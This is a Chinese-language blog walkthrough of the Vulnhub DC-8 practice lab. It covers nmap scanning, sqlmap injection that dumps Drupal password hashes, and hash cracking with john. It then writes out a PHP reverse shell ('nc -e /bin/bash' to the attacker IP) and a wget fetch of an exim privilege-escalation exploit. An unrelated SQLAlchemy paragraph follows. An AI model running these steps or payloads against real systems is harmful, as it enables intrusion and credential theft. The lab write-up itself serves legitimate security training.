Vulnhub靶场 | DC系列 - DC8

DC-8

环境搭建

  1. 靶机镜像下载地址:https://vulnhub.com/entry/dc-6,315/
  2. 需要将靶机和 kali 攻击机放在同一个局域网里;
  3. 本实验kali 的 IP 地址:192.168.10.146。

渗透测试

使用 nmap 扫描 192.168.10.0/24 网段存活主机

┌──(root💀kali)-[~/桌面]
└─# nmap -sP 192.168.10.0/24

经判断,目标主机IP地址为192.168.10.154。

扫描开放的服务。

┌──(root💀kali)-[~/桌面]
└─# nmap -sS 192.168.10.154

经测试,这里是存在sql注入的,并且是数字型注入。

http://192.168.10.154/?nid=2-1

http://192.168.10.154/?nid=1 order by 1  // 只有一个字段

直接上sqlmap

// 获取库
sqlmap -u "http://192.168.10.154/?nid=1" -p nid --dbs

// 获取表
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db --tables

// 获取列
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db -T users --columns

// 获取数据
sqlmap -u "http://192.168.10.154/?nid=1" -p nid -D d7db -T users -C name,pass
| admin | $S$D2tRcYRyqVFNSc0NvYUrYeQbLQg5koMKtihYTIDC9QQqJi3ICg5z 
| john  | $S$DqupvJbxVmqjr6cYePnx2A891ln7lsuku/3if/oRVZJaz5mKC2vF 

使用john工具对密码进行解密

┌──(root💀kali)-[~/桌面]
└─# vim a.txt   // 将密文放入文件

┌──(root💀kali)-[~/桌面]
└─# john a.txt   // 开始解密

解出john的密码为 turtle。

进行后台目录扫描。

http://192.168.10.154:80/user/是一个登录页。

输入刚才破解出的密码登录,可以登录成功。

寻找网站漏洞。在Contact US — Webform — Form setting处存在远程代码执行。

写入代码之后,随意提交些内容

写入的代码会执行。

写入建立反弹shell的代码。

<?php 
system("nc -e /bin/bash 192.168.10.146 4444");
?>

成功获取到反弹shell。

开始提权

查找带suid的文件

发现 exim4带有suid权限。

  • Exim是一个MTA(Mail Transfer Agent,邮件传输代理)服务器软件,该软件基于GPL协议开发,是一款开源软件。

搜索exim 相关的exp

┌──(root💀kali)-[~/桌面]
└─# searchsploit exim 

查看脚本使用方式:一共两种使用方式

将脚本复制到kali网站根目录

┌──(root💀kali)-[~/桌面]
└─# cp /usr/share/exploitdb/exploits/linux/local/46996.sh /var/www/html

然后再目标主机上,进入tmp目录,将46996.sh下载下来。

wget http://192.168.10.146/46996.sh

直接按用法的方式执行,提示Permission denied,需要添加权限。

再次执行:

www-data@dc-8:/tmp$ ./46996.sh -m setuid
www-data@dc-8:/tmp$ ./46996.sh -m netcat

提示:bash: ./46996.sh: /bin/bash^M: bad interpreter: No such file or directory

/bin/bash^M这里看似多了一个^M

使用vi 查看下该脚本,可以发现,每一行后都有一个^M

www-data@dc-8:/tmp$ vi 46996.sh

📌在Windows下每一行结尾是\n\r,而Linux下则是\n,所以才会有 多出来的\r。
这就是说,把一个文件从一种系统移到另一种系统,就有换行符的麻烦。如:用 vi 来尝试编辑一个采用 MS-DOS 格式的文件,你将会发现每一行的末尾有个 ^M 字符。(^M 就是 )。
set ff=unix ,就是告诉 vi 编辑器,使用unix换行符
set ff=dos ,就是告诉 vi 编辑器,使用dos换行符

在末行模式下输入set ff=unix。然后再重新下载。

添加权限,

www-data@dc-8:/tmp$ chmod 777 46996.sh

使用第一个方式提权失败~

./46996.sh -m setuid

./46996.sh -m netcat

顺利达到flag。

参考链接:

  • 3
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQLAlchemy 是一个 SQL 工具包和对象关系映射(ORM)库,用于 Python 编程语言。它提供了一个高级的 SQL 工具和对象关系映射工具,允许开发者以 Python 类和对象的形式操作数据库,而无需编写大量的 SQL 语句。SQLAlchemy 建立在 DBAPI 之上,支持多种数据库后端,如 SQLite, MySQL, PostgreSQL 等。 SQLAlchemy 的核心功能: 对象关系映射(ORM): SQLAlchemy 允许开发者使用 Python 类来表示数据库表,使用类的实例表示表中的行。 开发者可以定义类之间的关系(如一对多、多对多),SQLAlchemy 会自动处理这些关系在数据库中的映射。 通过 ORM,开发者可以像操作 Python 对象一样操作数据库,这大大简化了数据库操作的复杂性。 表达式语言: SQLAlchemy 提供了一个丰富的 SQL 表达式语言,允许开发者以 Python 表达式的方式编写复杂的 SQL 查询。 表达式语言提供了对 SQL 语句的灵活控制,同时保持了代码的可读性和可维护性。 数据库引擎和连接池: SQLAlchemy 支持多种数据库后端,并且为每种后端提供了对应的数据库引擎。 它还提供了连接池管理功能,以优化数据库连接的创建、使用和释放。 会话管理: SQLAlchemy 使用会话(Session)来管理对象的持久化状态。 会话提供了一个工作单元(unit of work)和身份映射(identity map)的概念,使得对象的状态管理和查询更加高效。 事件系统: SQLAlchemy 提供了一个事件系统,允许开发者在 ORM 的各个生命周期阶段插入自定义的钩子函数。 这使得开发者可以在对象加载、修改、删除等操作时执行额外的逻辑。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值